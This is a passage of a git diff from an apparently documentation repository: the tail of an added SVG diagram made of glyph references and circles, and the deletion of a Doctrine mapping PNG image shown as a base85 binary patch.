+  <use xlink:href="#glyph1-1" x="56.096354" y="315.181966"/>
+  <use xlink:href="#glyph1-7" x="59.15191" y="315.181966"/>
+  <use xlink:href="#glyph1-12" x="65.540799" y="315.181966"/>
+  <use xlink:href="#glyph1-1" x="69.707465" y="315.181966"/>
+  <use xlink:href="#glyph1-13" x="72.763021" y="315.181966"/>
+  <use xlink:href="#glyph1-3" x="79.15191" y="315.181966"/>
+  <use xlink:href="#glyph1-39" x="85.540799" y="315.181966"/>
+  <use xlink:href="#glyph1-10" x="88.596354" y="315.181966"/>
+  <use xlink:href="#glyph1-25" x="91.65191" y="315.181966"/>
+  <use xlink:href="#glyph1-26" x="98.040799" y="315.181966"/>
+  <use xlink:href="#glyph1-6" x="103.874132" y="315.181966"/>
+  <use xlink:href="#glyph1-2" x="109.985243" y="315.181966"/>
+  <use xlink:href="#glyph1-10" x="116.374132" y="315.181966"/>
+  <use xlink:href="#glyph1-14" x="119.429688" y="315.181966"/>
+  <use xlink:href="#glyph1-6" x="125.818576" y="315.181966"/>
+  <use xlink:href="#glyph1-4" x="131.929688" y="315.181966"/>
+  <use xlink:href="#glyph1-8" x="137.763021" y="315.181966"/>
+  <use xlink:href="#glyph1-40" x="141.096354" y="315.181966"/>
+  <use xlink:href="#glyph1-10" x="142.763021" y="315.181966"/>
+  <use xlink:href="#glyph1-31" x="145.818576" y="315.181966"/>
+  <use xlink:href="#glyph1-29" x="152.207465" y="315.181966"/>
+  <use xlink:href="#glyph1-41" x="155.540799" y="315.181966"/>
+  <use xlink:href="#glyph1-6" x="161.929688" y="315.181966"/>
+  <use xlink:href="#glyph1-40" x="168.040799" y="315.181966"/>
+  <use xlink:href="#glyph1-10" x="169.707465" y="315.181966"/>
+  <use xlink:href="#glyph1-42" x="172.763021" y="315.181966"/>
+  <use xlink:href="#glyph1-4" x="176.65191" y="315.181966"/>
+  <use xlink:href="#glyph1-11" x="182.485243" y="315.181966"/>
+  <use xlink:href="#glyph1-12" x="187.485243" y="315.181966"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-9" x="29.429688" y="333.525716"/>
+  <use xlink:href="#glyph1-4" x="34.707465" y="333.525716"/>
+  <use xlink:href="#glyph1-12" x="40.540799" y="333.525716"/>
+  <use xlink:href="#glyph1-6" x="44.429688" y="333.525716"/>
+  <use xlink:href="#glyph1-14" x="50.263021" y="333.525716"/>
+  <use xlink:href="#glyph1-13" x="56.65191" y="333.525716"/>
+  <use xlink:href="#glyph1-8" x="63.040799" y="333.525716"/>
+  <use xlink:href="#glyph1-15" x="66.929688" y="333.525716"/>
+  <use xlink:href="#glyph1-39" x="72.485243" y="333.525716"/>
+  <use xlink:href="#glyph1-10" x="75.540799" y="333.525716"/>
+  <use xlink:href="#glyph1-19" x="78.596354" y="333.525716"/>
+  <use xlink:href="#glyph1-1" x="85.540799" y="333.525716"/>
+  <use xlink:href="#glyph1-20" x="88.596354" y="333.525716"/>
+  <use xlink:href="#glyph1-6" x="94.15191" y="333.525716"/>
+  <use xlink:href="#glyph1-11" x="100.263021" y="333.525716"/>
+</g>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10.692773 26.453906 C 10.692773 26.737695 10.468945 26.967969 10.192773 26.967969 C 9.916602 26.967969 9.692773 26.737695 9.692773 26.453906 C 9.692773 26.169922 9.916602 25.939844 10.192773 25.939844 C 10.468945 25.939844 10.692773 26.169922 10.692773 26.453906 " transform="matrix(20,0,0,20,21,-479)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-17" x="221.535156" y="55.873372"/>
+</g>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10.7 30.404297 C 10.7 30.688281 10.476172 30.918359 10.2 30.918359 C 9.923828 30.918359 9.7 30.688281 9.7 30.404297 C 9.7 30.120508 9.923828 29.890234 10.2 29.890234 C 10.476172 29.890234 10.7 30.120508 10.7 30.404297 " transform="matrix(20,0,0,20,21,-479)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-18" x="221.679688" y="134.881185"/>
+</g>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10.7 36.287109 C 10.7 36.571094 10.476172 36.801172 10.2 36.801172 C 9.923828 36.801172 9.7 36.571094 9.7 36.287109 C 9.7 36.00332 9.923828 35.773047 10.2 35.773047 C 10.476172 35.773047 10.7 36.00332 10.7 36.287109 " transform="matrix(20,0,0,20,21,-479)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-27" x="221.679688" y="252.537435"/>
+</g>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10.7 40.269336 C 10.7 40.55332 10.476172 40.783398 10.2 40.783398 C 9.923828 40.783398 9.7 40.55332 9.7 40.269336 C 9.7 39.985547 9.923828 39.755273 10.2 39.755273 C 10.476172 39.755273 10.7 39.985547 10.7 40.269336 " transform="matrix(20,0,0,20,21,-479)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-33" x="221.679688" y="332.181966"/>
+</g>
+</g>
+</svg>
diff --git a/_images/doctrine/mapping_single_entity.png b/_images/doctrine/mapping_single_entity.png
deleted file mode 100644
index 6f88c6cacfa007705371e9c2c01ef80b3f87fd69..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 64366
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
